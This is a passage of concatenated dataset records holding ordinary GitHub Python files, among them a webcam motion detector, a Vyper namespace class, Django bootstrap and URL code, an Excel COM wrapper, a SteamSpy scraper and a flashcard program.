student red-headed (Y/N): \")\nage = int(input(\"Enter your student's age: \"))\n\n# Add to lists\nif age >= 0:\n if color == \"Y\":\n red.append(age)\n else:\n non_red.append(age)\n\n# Keep asking\nwhile age >= 0:\n # Ask for input\n color = input(\"Is your student red-headed (Y/N): \")\n age = int(input(\"Enter your student's age: \"))\n\n # Add to lists\n if age >= 0:\n if color == \"Y\":\n red.append(age)\n else:\n non_red.append(age)\n\n# Calculate the stats\nred_min = str(min(red))\nred_max = str(max(red))\nred_len = str(len(red))\n\nnon_red_min = str(min(non_red))\nnon_red_max = str(max(non_red))\nnon_red_len = str(len(non_red))\n\n# Write to the file\nwith open(\"Student_Data_23Fa.txt\", \"w\") as output_file:\n # Write the column names\n output_file.write(\"Gender Number of Students Minimum Age Maximum Age\\n\")\n\n # Write the other lines\n red_line = f\"Redheaded {red_len:<{len('Number of Students ')}}{red_min:<{len('Minimum Age ')}}{red_max}\\n\"\n output_file.write(red_line)\n\n non_red_line = f\"Not Red {non_red_len:<{len('Number of Students ')}}{non_red_min:<{len('Minimum Age ')}}{non_red_max}\\n\"\n output_file.write(non_red_line)","repo_name":"RicePandaaaa/F23Exam2PracticeSolutions","sub_path":"More Exam 2 Practice Problems/q15.py","file_name":"q15.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17760654485","text":"from vyper.exceptions import (\n CompilerPanic,\n NamespaceCollision,\n UndeclaredDefinition,\n)\n\n\nclass Namespace(dict):\n \"\"\"\n Dictionary subclass that represents the namespace of a contract.\n\n Attributes\n ----------\n _scopes : List[Set]\n List of sets containing the key names for each scope\n \"\"\"\n\n def __init__(self):\n super().__init__()\n self._scopes = []\n from vyper.context import environment\n from vyper.context.types import get_types\n from vyper.functions.functions import get_builtin_functions\n\n self.update(get_types())\n self.update(environment.get_constant_vars())\n self.update(get_builtin_functions())\n\n def __eq__(self, other):\n return self is other\n\n def __setitem__(self, attr, obj):\n self.validate_assignment(attr)\n\n if self._scopes:\n self._scopes[-1].add(attr)\n super().__setitem__(attr, obj)\n\n def __getitem__(self, key):\n if key not in self:\n raise UndeclaredDefinition(f\"'{key}' has not been declared\")\n return super().__getitem__(key)\n\n def __enter__(self):\n if not self._scopes:\n raise CompilerPanic(\"Context manager must be invoked via namespace.enter_scope()\")\n\n def __exit__(self, exc_type, exc_value, traceback):\n if not self._scopes:\n raise CompilerPanic(\"Bad use of namespace as a context manager\")\n for key in self._scopes.pop():\n del self[key]\n\n def enter_scope(self):\n \"\"\"\n Enter a new scope within the namespace.\n\n Called as a context manager, e.g. `with namespace.enter_scope():`\n All items that are added within the context are removed upon exit.\n \"\"\"\n from vyper.context import environment\n\n self._scopes.append(set())\n\n if len(self._scopes) == 1:\n # add mutable vars (`self`) to the initial scope\n self.update(environment.get_mutable_vars())\n\n return self\n\n def update(self, other):\n for key, value in other.items():\n self.__setitem__(key, value)\n\n def clear(self):\n super().clear()\n self.__init__()\n\n def validate_assignment(self, attr):\n if attr in self:\n if attr not in [x for i in self._scopes for x in i]:\n raise NamespaceCollision(f\"Cannot assign to '{attr}', it is a builtin\")\n obj = super().__getitem__(attr)\n raise NamespaceCollision(f\"'{attr}' has already been declared as a {obj}\")\n\n\ndef get_namespace():\n \"\"\"\n Get the active namespace object.\n \"\"\"\n global _namespace\n try:\n return _namespace\n except NameError:\n _namespace = Namespace()\n return _namespace\n","repo_name":"nbrown1337/testflash","sub_path":"vyper-env/lib/python3.8/site-packages/vyper/context/namespace.py","file_name":"namespace.py","file_ext":"py","file_size_in_byte":2748,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"37613625","text":"import cv2 #--------------------------------Importing Librabies\nimport time #--------------------------------Importing Librabies\nimport pandas #--------------------------------Importing Librabies\nfrom datetime import datetime #--------------------------------Importing Librabies\n\nvideo = cv2.VideoCapture(0) #--------------------------------Laptop Camera Start\nstatus_list = [None, None] #----------------Connected to status so that time will be obtained with the refrence of this\ntimes = [] #--------------------------------List of time will be obtained from this\nfirst_frame = None #--------------------------------Delcaring Variable\ndf = pandas.DataFrame(columns = [\"Start\", \"End\"]) #--------------------------------Declaration of DataFrame\n\nwhile True:\n check, frame = video.read() #--------------------------------Read the images from the Camera\n status = 0 #--------------------------------Delcaring Variable\n\n gray = cv2.cvtColor(frame, cv2.COLOR_RGB2GRAY) #--------------------------------Transfers the images to gray color\n gray = cv2.GaussianBlur(gray, (21, 21), 0) #--------------------------------Blur the image\n\n if first_frame is None: #--------------------------------Continues the telecast\n first_frame = gray\n continue\n\n delta_frame = cv2.absdiff(first_frame, gray) #--------------------------------Make the difference\n thresh_frame = cv2.threshold(delta_frame, 30, 255, cv2.THRESH_BINARY)[1] #--------------------------------Black and white image screen\n thresh_frame = cv2.dilate(thresh_frame, None, iterations = 2) #--------------------------------Smooth the B & W screen\n\n (_,cnts,_) = cv2.findContours(thresh_frame.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) #--------------------------------Face recognitions\n for contour in cnts:\n if cv2.contourArea(contour) < 9500:\n continue\n status = 1\n (x, y, w, h) = cv2.boundingRect(contour)\n cv2.rectangle(frame, (x, y), (x+w, y+h), (0, 255, 255), 3)\n\n status_list.append(status) #--------------------------------Writing in Status_list\n status_list = status_list[-2:]\n if status_list[-1] == 1 and status_list[-2] == 0: #--------------------------------Jyare achanak bdlai che tyare e time record kre che\n times.append(datetime.now()) #--------------------------------Only two times will be recordedthat is incoming & outgoing\n if status_list[-1] == 0 and status_list[-2] == 1:\n times.append(datetime.now())\n\n cv2.imshow(\"Gray Frame\", gray) #--------------------------------Image showing in the screen\n cv2.imshow(\"Delta Frame\", delta_frame) #--------------------------------Image showing in the screen\n cv2.imshow(\"Threshold Frame\", thresh_frame) #--------------------------------Image showing in the screen\n cv2.imshow(\"Color Frame\", frame) #--------------------------------Image showing in the screen\n\n key = cv2.waitKey(1) #--------------------------------Trigger to stop\n if key == ord('q'):\n if status==1:\n times.append(datetime.now())\n break\n\n\nprint(status_list)\nfor z in times:\n print(z)\n\nfor i in range(0, len(times), 2): #--------------------------------Writing in DataFrame\n df = df.append({\"Start\": times[i], \"End\": times[i+1]}, ignore_index = True)\n#--------------------------------Range will start with 0 and will end at n-1 and 3rd digit is for between gap which will added in the first place of the Range i.e. \"0\"\n#--------------------------------\"ignore_index = True\" <--- is applied when there is not available any Series name. If dout, Remove it and try\n\ndf.to_csv(\"Times.csv\") #--------------------------------Formation of csv file. It will erase previous details and make new details\n\nvideo.release()\ncv2.destroyAllWindows()\n","repo_name":"manthan-ladva/Language-Practice","sub_path":"Python/App 5 Webcam Motion Detector/video.py","file_name":"video.py","file_ext":"py","file_size_in_byte":4988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15490867386","text":"def subexpression_printer(expr):\r\n stack_indexes = []\r\n\r\n for index, char in enumerate(expr):\r\n if char == '(':\r\n stack_indexes.append(index)\r\n elif char == ')':\r\n end_index = index\r\n start_index = stack_indexes.pop()\r\n subexpr = expr[start_index:end_index + 1]\r\n print(subexpr)\r\n\r\n\r\nsubexpression_printer(input())","repo_name":"ayk-dev/python-advanced","sub_path":"01-stacks-and-queus/matching_brackets.py","file_name":"matching_brackets.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72452008253","text":"from django.contrib.auth import get_user_model\nfrom django.core.management.base import BaseCommand\n\nfrom alexandria.users.models import AccountType, USLocation\nfrom alexandria.utils.management.commands import (\n bootstrap_system_branches,\n bootstrap_types,\n create_permissions_groups,\n)\n\n\nclass Command(BaseCommand):\n help = \"Creates everything needed for the site to be functional.\"\n\n def handle(self, *args, **options):\n bootstrap_types.Command().handle()\n bootstrap_system_branches.Command().handle()\n create_permissions_groups.Command().handle()\n\n location, created = USLocation.objects.get_or_create(\n address_1=\"123 Sesame St.\",\n city=\"Kaufman Astoria Studios\",\n state=\"NY\",\n zip_code=\"11106\",\n )\n user, created = get_user_model().objects.get_or_create(\n card_number=\"1234\",\n email=\"adminvonadmin@example.com\",\n birth_year=1900,\n account_type=AccountType.objects.get(name=\"Superuser\"),\n title=\"Admin Extraordinaire\",\n legal_first_name=\"Admin\",\n legal_last_name=\"von Admin\",\n address=location,\n notes=\"It's the admin.\",\n )\n if created:\n user.set_password(\"asdf\")\n user.save()\n","repo_name":"AlexandriaILS/Alexandria","sub_path":"alexandria/utils/management/commands/bootstrap_site.py","file_name":"bootstrap_site.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"33888549348","text":"# coding=utf-8\nfrom wordcloud import WordCloud\nimport pandas as pd\nimport ast\nfrom matplotlib import pyplot as plt\nimport os\npd.options.mode.chained_assignment = None\nimport sys \nfrom pathlib import Path\n\nrails_root = sys.argv[1]\n\nfor p in Path(f\"{rails_root}/public/images\").glob(\"wordcloud.png\"):\n p.unlink()\n\ntxt = pd.read_csv(f\"{rails_root}/data/cloud_text.csv\",names=[\"id\", \"no_stop\"])\ntxt_str = \"\"\n\nfor i in range(len(txt)):\n try:\n txt[\"no_stop\"][i] = ast.literal_eval(txt[\"no_stop\"][i])\n txt_str += ' '.join(txt[\"no_stop\"][i])\n except:\n continue\n\nif len(txt_str) < 50:\n print(\"您所選擇區間資料過少,請重新選擇\")\nelse:\n cloud = WordCloud(width=960, height=400,background_color='white',font_path=f\"{rails_root}/app/assets/fonts/TaipeiSansTCBeta-Regular.ttf\").generate(txt_str)\n cloud.to_file(f'{rails_root}/public/images/wordcloud.png')\n\n\n","repo_name":"demo-6th/SociView","sub_path":"lib/tasks/Wordcloud/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"18972641919","text":"success = False # в будущем, если победим, примет значение True\nmas = list(range(100000)) # создаём массив и наполняем его значениями от 0 до 99999\nkey = int(input('Введите число для поиска: ')) # вводим число с клавиатуры и преобразуем его в тип int\nl = 0 # индекс левой границы массива mas. 0, потому что исчесление элементов в массиве начинается имеенно с нуля\nr = mas[len(mas)-1] # правая граница. В отличие от левой, она может меняться в зависимости от количества элементов в массиве, поэтому мы её вычисляем с помощью функции определения длины len(). Единицу вычитаем, потому что первый элемент в массиве у нас с индексом 0. Например, при длинне массива 100000, последний элемент будет 99999\niterateCounter = 0 # счётчик (англ. counter) повторений (англ. iterations) цикла поиска\nmid = None # задаём пустую переменную, заполним её чуть позже. None означает \"ничего\" \nwhile ((l <= r)): # выполняем цикл до тех пор, пока выражение (l <= r) не будет равно False\n iterateCounter += 1 # увеличиваем значение счётчика на 1. Ещё можно написать так: iterateCounter = iterateCounter + 1, смысл тот же\n mid = (l + r) // 2 # считываем срединный индекс отрезка [l,r]\n if (mas[mid] == key): # сверяем введённый нами с клавиатуры key со стрединным значением\n success = True # победа! Теперь наш успех равен True\n if (mas[mid] > key): # проверяем, какую часть нужно отбросить\n r = mid - 1 # если срединное значение больше искомого, двигаем правую границу r влево и ставим на месте срединной переменной \n # l - - - - mid <- - - - r\n # l - - - - r\n else:\n l = mid + 1 \n # l - - - -> mid - - - - - r\n # l - - - - - r\n\nif (success == True): # в случае успеха печатаем статистику \n print(\"Индекс элемента \" + str(key) + \" в массиве равен: \" + str(mid))\n print(\"\")\n print(\"Количество циклов поиска искомого числа: \"+str(iterateCounter))\nelse: # иначе извиняемся\n print(\"Извините, но такого элемента в массиве нет\")\n","repo_name":"Tamerlanchiques/usb","sub_path":"практика/K1/binarySearchSimple.py","file_name":"binarySearchSimple.py","file_ext":"py","file_size_in_byte":3025,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"11674432509","text":"from django.conf.urls.defaults import patterns, url\nfrom django.contrib.auth.decorators import login_required\nfrom walls.views import AddWallView, EditWallView,\\\n CommentedWallDetailView, DeleteWallView, WallImagesListView,\\\n WallImagesDetailView, WallImagesEditView, WallImagesDeleteView,\\\n WallImagesAddView, WallImagesListEditView, MyWallsListView\n\nurlpatterns = patterns('',\n url(r'^my/$',\n login_required(MyWallsListView.as_view()),\n name='walls_my_list'\n ),\n url(r'^(?P<pk>\\d+)/$',\n CommentedWallDetailView.as_view(),\n name='walls_detail'\n ),\n url(r'^(?P<pk>\\d+)/edit/$',\n login_required(EditWallView.as_view()),\n name='walls_edit'\n ),\n url(r'^(?P<pk>\\d+)/delete/$',\n login_required(DeleteWallView.as_view()),\n name='walls_delete'\n ),\n url(r'^add/$',\n login_required(AddWallView.as_view()),\n name='walls_add'\n ),\n\n url(r'^(?P<wall_pk>\\d+)/images/$',\n WallImagesListView.as_view(),\n name='walls_images_list'\n ),\n url(r'^(?P<wall_pk>\\d+)/images/edit/$',\n login_required(WallImagesListEditView.as_view()),\n name='walls_images_list_edit'\n ),\n url(r'^(?P<wall_pk>\\d+)/images/(?P<pk>\\d+)/$',\n WallImagesDetailView.as_view(),\n name='walls_images_detail'\n ),\n url(r'^(?P<wall_pk>\\d+)/images/(?P<pk>\\d+)/edit/$',\n login_required(WallImagesEditView.as_view()),\n name='walls_images_edit'\n ),\n url(r'^(?P<wall_pk>\\d+)/images/(?P<pk>\\d+)/delete/$',\n login_required(WallImagesDeleteView.as_view()),\n name='walls_images_delete'\n ),\n url(r'^(?P<wall_pk>\\d+)/images/add/$',\n login_required(WallImagesAddView.as_view()),\n name='walls_images_add'\n ),\n\n url(r'^bbox.json/$',\n 'walls.views.bbox',\n name='walls_bbox'\n ),\n)\n","repo_name":"unpatioli/tenniswall","sub_path":"walls/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40790637495","text":"import win32com.client as win32\nimport os\n\n\nclass ExcelDataBase(object):\n def __init__(self):\n self._excel_app = None\n self._work_book = None\n self._work_sheets = None\n self._work_sheet = None\n self._sheet = None\n self._xls_file = None\n self._is_open = False\n self._is_new = False\n\n def start(self) -> bool:\n try:\n self._excel_app = win32.Dispatch('Excel.Application')\n print(\"EXCEL Application start.\")\n except Exception as value:\n print(\"Exception occurred, value = \", value)\n return False\n return True\n\n def quit(self):\n \"\"\"\n 退出EXCEL,\n :return:\n \"\"\"\n self.close()\n if self._excel_app:\n self._excel_app.Quit()\n self._excel_app = None\n self._is_open = False\n self._xls_file = None\n self._is_open = False\n self._is_new = False\n return\n\n def open_book(self, file_name, not_exist_new) -> bool:\n \"\"\" \"\"\"\n # 如果指向的文件不存在,则需要新建一个\n if not (os.path.exists(file_name) and os.path.isfile(file_name)):\n if not not_exist_new:\n return False\n\n # 得到绝对路径,因为ActiveX只支持绝对路径,包括Open,包括 Save as,\n # 不光必须用绝对路径,还需要实用原生的路径分割符号'\\'\n\n self._work_book = self._excel_app.Workbooks.Open(file_name)\n if not self._work_book:\n return False\n # self._work_book = self.excel_app_.ActiveWorkBook\n self._xls_file = os.path.abspath(file_name)\n self._is_open = True\n self._work_sheets = self._work_book.Worksheets\n return True\n\n def new_book(self):\n \"\"\" \"\"\"\n # 新建一个xls,添加一个新的工作薄\n self._excel_app.WorkBooks.Add()\n self._work_book = self._excel_app.ActiveWorkBook\n self._is_open = True\n self._is_new = True\n return True\n\n def close(self):\n \"\"\"关闭打开的EXCEL,\"\"\"\n self.save()\n if not self._excel_app and not self._work_book:\n self._work_book.Close(True)\n self._work_book = None\n self._is_open = False\n self._xls_file = \"\"\n return\n\n def save(self):\n if not self._work_book or self._xls_file == \"\":\n return\n if self.book_saved:\n return\n if self._is_new:\n self._work_book.SaveAs(self._xls_file)\n self._is_new = False\n else:\n self._work_book.Save()\n\n @property\n def book_saved(self) -> bool:\n saved = self._work_book.Saved\n return bool(saved)\n\n def sheets_count(self):\n count = self._work_sheets.Count\n return count\n\n def sheets_name(self):\n \"\"\"返回sheets 的名称列表\"\"\"\n name_list = []\n count = self._work_sheets.Count\n i = 0\n while i < count:\n name_list.append(self._work_book.Worksheets(i + 1).Name)\n i += 1\n return name_list\n\n def load_sheet_byindex(self, sheet_index: int):\n self._work_sheet = self._work_book.Worksheets(sheet_index)\n if not self._work_sheet:\n return False\n return True\n\n def load_sheet_byname(self, sheet_name: str):\n \"\"\"\n\n :param sheet_name: \n :return: \n \"\"\"\n self._work_sheet = self._work_book.Worksheets(sheet_name)\n if not self._work_sheet:\n return False\n return True\n\n @staticmethod\n def _range_coord(read_range):\n \"\"\"\"\"\"\n row_count = read_range.Rows.Count\n column_count = read_range.Columns.Count\n # 因为excel可以从任意行列填数据而不一定是从1, 1 开始,因此要获取首行列下标\n # 第一行,列的起始位置\n row_start = read_range.Row\n column_start = read_range.Column\n return row_start, column_start, row_count, column_count\n\n @staticmethod\n def _range_data(read_range):\n \"\"\"\"\"\"\n if not read_range:\n return 0, 0, 0, 0, []\n else:\n row_start, column_start, row_count, column_count = \\\n ExcelDataBase._range_coord(read_range)\n return row_start, column_start, row_count, column_count, read_range.Value\n\n def used_range_coord(self):\n \"\"\"\n 取得UsedRange的各种坐标,包括起始行号,列号,以及占用的行总数,列总数\n 注意UsedRange并不一定是从0,0开始的\n :return:UsedRange的行起始,列起始,行总数,列总数\n \"\"\"\n used_range = self._work_sheet.UsedRange\n if not used_range:\n return 0, 0, 0, 0\n else:\n return self._range_coord(used_range)\n\n def used_range_data(self):\n used_rg = self._work_sheet.UsedRange\n return self._range_data(used_rg)\n\n def sheet_cell(self, row, column):\n # 如果预加载了数据,\n return self._work_sheet.Cells(row, column).Value\n\n @staticmethod\n def column_name(column_num):\n \"\"\"\"\"\"\n assert column_num > 0\n n = column_num\n lst = []\n while True:\n if n > 0:\n # EXCEL 奇特的规则导致的这个地方,没有0,和一般的转码不太一样\n n -= 1\n m = n % 26\n n //= 26\n lst.append(chr(m + ord('A')))\n if n <= 0:\n break\n lst.reverse()\n return \"\".join(lst)\n\n def range(self, cell1: str, cell2: str = None):\n return self._work_sheet.Range(cell1, cell2)\n\n def range2(self, cell1_row: int, cell1_column: int, cell2_row: int, cell2_column: int):\n cell1 = str(cell1_row) + ExcelDataBase.column_name(cell1_column)\n cell2 = str(cell2_row) + ExcelDataBase.column_name(cell2_column)\n return self._work_sheet.Range(cell1, cell2)\n\n def range_coord(self, cell1: str, cell2: str = None):\n get_range = self.range(cell1, cell2)\n return self._range_coord(get_range)\n\n def range_data(self, cell1: str, cell2: str = None):\n get_range = self.range(cell1, cell2)\n return self._range_data(get_range)\n\n\nif __name__ == '__main__':\n print(\"Hello world!{}\".format(__file__))\n print(\"column_name {} {}\".format(1, ExcelDataBase.column_name(1)))\n print(\"column_name {} {}\".format(26, ExcelDataBase.column_name(26)))\n print(\"column_name {} {}\".format(27, ExcelDataBase.column_name(27)))\n print(\"column_name {} {}\".format(52, ExcelDataBase.column_name(52)))\n print(\"column_name {} {}\".format(200, ExcelDataBase.column_name(200)))\n print(\"column_name {} {}\".format(888, ExcelDataBase.column_name(888)))\n","repo_name":"sailzeng/OAMail","sub_path":"source/office/excel_database.py","file_name":"excel_database.py","file_ext":"py","file_size_in_byte":6801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8820350710","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 2 18:30:55 2016\n\n@author: yiyuezhuo\n\"\"\"\n\nimport requests\nimport webbrowser\nimport json\nimport datetime\nfrom bs4 import BeautifulSoup\nimport re\n\ndef fff(content, temp_name = 'temp.html'):\n if type(content) == bytes:\n content = str(content)\n elif type(content) == requests.models.Response:\n content = str(content.content)\n with open(temp_name, 'w')as f:\n f.write(content)\n webbrowser.open(temp_name)\n \ndef get_user_info(config_path = 'config.json'):\n with open(config_path) as f:\n config = json.load(f)\n return config\n \ndef get_date(delta_days):\n date = datetime.date.today() - datetime.timedelta(days = delta_days)\n return datetime.datetime.strftime(date,'%Y-%m-%d')\n\ndata_url = 'http://steamspy.com/ajax/slowdata.php'\nlogin_url = 'http://steamspy.com/login/'\nroot_url = 'http://steamspy.com/app/'\n\ndef need_login(method):\n def _method(self, *args, **kwargs):\n if self.logined == False:\n self.login()\n return method(self, *args, **kwargs)\n return _method\n\nclass Scraper(object):\n def __init__(self, info = None):\n self.session = requests.session()\n if info == None:\n self.info = get_user_info()\n else:\n self.info = info\n self.logined = False\n \n def login(self):\n self.session.get(login_url)\n form =self.info.copy()\n form.update({'keeplogged' : 1,\n 'submit' : '',\n 'doLogin' : 1})\n self.logined = True\n return self.session.post(login_url, data = form)\n \n @need_login\n def get_geography(self, appid):\n form = { 'request' : 'App Geography',\n 'appid' : appid,\n 'YesterdayD' : get_date(1),\n 'FreeDateD' : get_date(91)}\n res = self.session.post(data_url, data = form)\n rd = json.loads(res.content.decode('utf8'))\n assert rd['result'] == 'Success'\n data = json.loads(rd['html'][rd['html'].index('['):rd['html'].rindex(']')+1])\n return data\n \n def get_general(self, appid):\n url = root_url + appid\n html = self.session.get(url).content\n return enhance_general(parse_general(html))\n \nclass list_map_escape:\n pass\n \ndef list_map(term_map):\n # 还是另请高明吧\n def _func(tree, *args, **kwargs):\n rl = []\n for node in tree:\n if type(node) == list:\n rl.append(_func(node, *args, **kwargs))\n else:\n r = term_map(node, *args, **kwargs)\n if r != list_map_escape:\n rl.append(r)\n return rl\n return _func\n \n@list_map\ndef to_text(node):\n if hasattr(node,'text'):\n s = node.text\n else:\n s = node.__str__()\n if s.strip() == '':\n return list_map_escape\n else:\n return s\n\ndef test():\n scraper = Scraper()\n scraper.login()\n print(scraper.get_geography())\n \nif __name__ == '__main__':\n '''\n scraper = Scraper()\n scraper.login()\n data = scraper.get_geography('315810')\n '''\n\n''' test record\nsession = requests.session()\nres1 = session.get(login_url)\nform1 = get_user_info() # get username and password by json file config.json\nform1.update({'keeplogged' : 1,\n 'submit' : '',\n 'doLogin' : 1})\nres2 = session.post(login_url, data = form1)\nform2 = {'request' : 'App Geography',\n 'appid' : '315810',\n 'YesterdayD' : '2016-08-01',\n 'FreeDateD' : '2016-05-03'}\nres3 = session.post(data_url, data = form2)\nrd = json.loads(res3.content.decode('utf8'))\nassert rd['result'] == 'Success'\nrd2 = json.loads(rd['html'][rd['html'].index('['):rd['html'].rindex(']')+1])\n'''\n\ndef parse_general(html):\n soup = BeautifulSoup(html, 'lxml')\n el = list(soup.find(attrs = {'class' : 'p-r-30'}))[2]\n dic = {}\n cut = []\n for child in el.children:\n if child.name == 'strong':\n dic[cut[0].text] = to_text(cut[1:])\n cut = [child]\n else:\n cut.append(child)\n \n rd = {}\n # remove vervose key char :\n for key in dic.keys():\n if len(key)>0:\n value = dic[key]\n if key[-1] == ':':\n rd[key[:-1]] = value\n else:\n rd[key] = value\n # reduction list \n one_term_list = ['Owners',\n 'Peak concurrent players yesterday',\n 'Players in the last 2 weeks',\n 'Players total',\n 'Playtime in the last 2 weeks',\n 'Price',\n 'Release date',\n 'Score rank',\n 'Userscore',\n 'YouTube stats']\n for key in one_term_list:\n value = rd[key][0]\n if value[0] == ':':\n value = value[1:]\n rd[key] = value.strip()\n \n # special process\n rd['Tags'] = [value for i,value in enumerate(rd['Tags']) if i%2==0]\n rd['Category'] = [cat.strip() for cat in rd['Category'][0].split(',')]\n return rd\n \ndef enhance_general(string_dic, time_process = True):\n \n rd = string_dic.copy()\n \n for key in ['Owners',\n 'Players in the last 2 weeks',\n 'Players total']:\n value = string_dic[key]\n index = value.find('(')\n if index != -1:\n value = value[:index]\n # default is mean/average\n rd[key],rd[key + '_std'] = value.replace(',', '').split('±')\n rd[key],rd[key + '_std'] = int(rd[key]),int(rd[key + '_std'])\n \n for key in ['Score rank','Userscore']:\n value = float(string_dic[key][:-1])/100\n rd[key] = value\n rd['Price'] = float(string_dic['Price'][1:]) # remove $ char\n rd['Peak concurrent players yesterday'] = int(rd['Peak concurrent players yesterday'])\n \n if time_process:\n rd['Release date'] = datetime.datetime.strptime(string_dic['Release date'],'%b %d, %Y')\n \n average, median = re.match(r'(.+)\\(average\\)(.+)\\(median\\)',string_dic['Playtime in the last 2 weeks']).groups()\n average_m,average_s = average.strip().split(':')\n median_m,median_s = median.strip().split(':')\n rd['Playtime in the last 2 weeks'] = datetime.timedelta(seconds = int(average_m) * 60 + int(average_s))\n rd['Playtime in the last 2 weeks_median'] = datetime.timedelta(seconds = int(median_m) * 60 + int(median_s))\n \n return rd\n","repo_name":"yiyuezhuo/steam-research","sub_path":"steamspy.py","file_name":"steamspy.py","file_ext":"py","file_size_in_byte":6547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"10183513463","text":"import sys\n\ncurrent_working_directory = r\"C:\\Users\\Hoo\\Documents\\workspace\\python\\tencent\"\nsys.path.append(current_working_directory)\n\nimport numpy as np\nimport pandas as pd\n\nfrom matplotlib import font_manager as fm\nfrom matplotlib import cm\nfrom matplotlib import pyplot as plt\nfrom txvideo.txvideo.analysis.db_getDate import Data\n\nif __name__ == '__main__':\n data = Data()\n plt.rcParams['font.sans-serif'] = ['SimHei']\n shapes = list(sys.argv[1:])\n values = data.categoryDate(shapes)\n s = pd.Series(values, index=shapes)\n labels = s.index\n sizes = s.values\n # explode = (0.1, 0, 0) # \"explode\" , show the selected slice\n explode = tuple(float(item / 1000) for item in values)\n fig, axes = plt.subplots(figsize=(8, 5), ncols=2) # 设置绘图区域大小\n ax1, ax2 = axes.ravel()\n\n colors = cm.rainbow(np.arange(len(sizes)) / len(sizes)) # colormaps: Paired, autumn, rainbow, gray,spring,Darks\n patches, texts, autotexts = ax1.pie(sizes, labels=labels, autopct='%1.0f%%', explode=explode,\n shadow=False, startangle=170, colors=colors, labeldistance=1.2,\n pctdistance=1.1, radius=0.4)\n # labeldistance: 控制labels显示的位置\n # pctdistance: 控制百分比显示的位置\n # radius: 控制切片突出的距离\n\n ax1.axis('equal')\n\n # 重新设置字体大小\n proptease = fm.FontProperties()\n proptease.set_size('medium')\n # font size include: ‘xx-small’,x-small’,'small’,'medium’,‘large’,‘x-large’,‘xx-large’ or number, e.g. '12'\n plt.setp(autotexts, fontproperties=proptease)\n plt.setp(texts, fontproperties=proptease)\n\n ax1.set_title('腾讯视频电影分类统计', loc='center')\n\n # ax2 只显示图例(legend)\n ax2.axis('off')\n ax2.legend(patches, labels, loc='center left')\n\n plt.tight_layout()\n # plt.savefig(\"pie_shape_ufo.png\", bbox_inches='tight')\n plt.savefig('Demo_project_final.png')\n plt.show()\n","repo_name":"JayHooooooo/Python","sub_path":"txvideo/txvideo/analysis/platPic.py","file_name":"platPic.py","file_ext":"py","file_size_in_byte":2021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12087323301","text":"from random import sample\n\nclass Card():\n\t\"\"\"Class for single card, storing question, answer, \n\tand boolean flag status.\"\"\"\n\n\tdef __init__(self, question='', answer=''):\n\t\t\"\"\"Instantiate Card class.\"\"\"\n\t\tself.question = question\n\t\tself.answer = answer\n\t\tself.flag = False\n\t\tself.remove = False\n\n\tdef add_question(self, q): \t# Add question and answer, stored as string\n\t\tself.question = str(q)\n\n\tdef add_answer(self, a):\t###\n\t\tself.answer = str(a)\n\n\tdef get_question(self): \t# Returns question or answer string\n\t\treturn self.question\n\n\tdef get_answer(self):\t\t###\n\t\treturn self.answer\n\n\tdef ch_flag(self): \t\t\t# Change flag status\n\t\tself.flag *= -1\n\n\tdef get_flag(self): \t\t# Returns flag status (default is False)\n\t\treturn self.flag\n\n\tdef remove_card():\t\t\t# Sets card for removal from flagging\n\t\tself.remove = True\t\n\n\nclass Deck(Card):\n\t\"\"\"Class for deck of Card objects, including 'run_menu' function, \n\twhich drills cards on either side, allows user to flag for further review.\"\"\"\n\n\tdef __init__(self):\n\t\tself.cards = []\t\t\t\t\t# Empty list\n\t\tself.hr = '\\n'+'-'*25\t\t\t# Horizontal rule -\n\t\tself.m_hr = '\\n'+'*'*25\t\t\t# Horizontal rule *\n\t\tself.gate = False\t\t\t\t# To alternate handling of flags across runs\n\t\tself.yn = ''\t\t\t\t\t# Flag request input value\n\t\tself.new_flag_round = False\t\t# To indicate new flag round\n\t\tself.menu_response = ''\t\t\t# Input receiver\n\n\tdef add_card(self, c):\n\t\tself.cards.append(c)\t\t\t# Adds card to deck list\n\n\tdef shuffle(self):\n\t\tself.cards = sample(self.cards, len(self.cards))\t# Shuffles deck\n\n\tdef reset_flags(self):\t\t\t# Resets flagged cards in deck to False\n\t\tfor card in self.cards:\n\t\t\tif card.get_flag(): card.ch_flag()\n\n\tdef reset_remove(self):\t\t\t# Reset remove status to False\n\t\tfor card in self.cards:\n\t\t\tif card.remove: card.remove = False\n\n\tdef drill(self, rev=False):\t\t# Runs a drill of all cards and allows flagging\n\t\tself.reset_flags()\t\t\t# Resets flags for new run\n\t\tself.reset_remove()\t\t\t# Resets remove status to False for new run\n\t\tself.shuffle()\t\t\t\t# Shuffles deck\n\t\tfor card in self.cards:\n\t\t\tprint(self.hr)\n\t\t\tif rev: print(card.get_answer())\t# If running answers\n\t\t\telse: print(card.get_question())\t# Otherwise just do questions\n\t\t\tinput('\\n--(press return to flip)--\\n')\n\t\t\tif rev: print(card.get_question())\t# If running answers\n\t\t\telse: print(card.get_answer())\t\t# Otherwise just show the answer\n\t\t\tprint(self.hr)\n\t\t\tself.yn = input('\\nFlag card for review? (y/n)\\n')\n\t\t\tif self.yn == 'y' or self.yn == 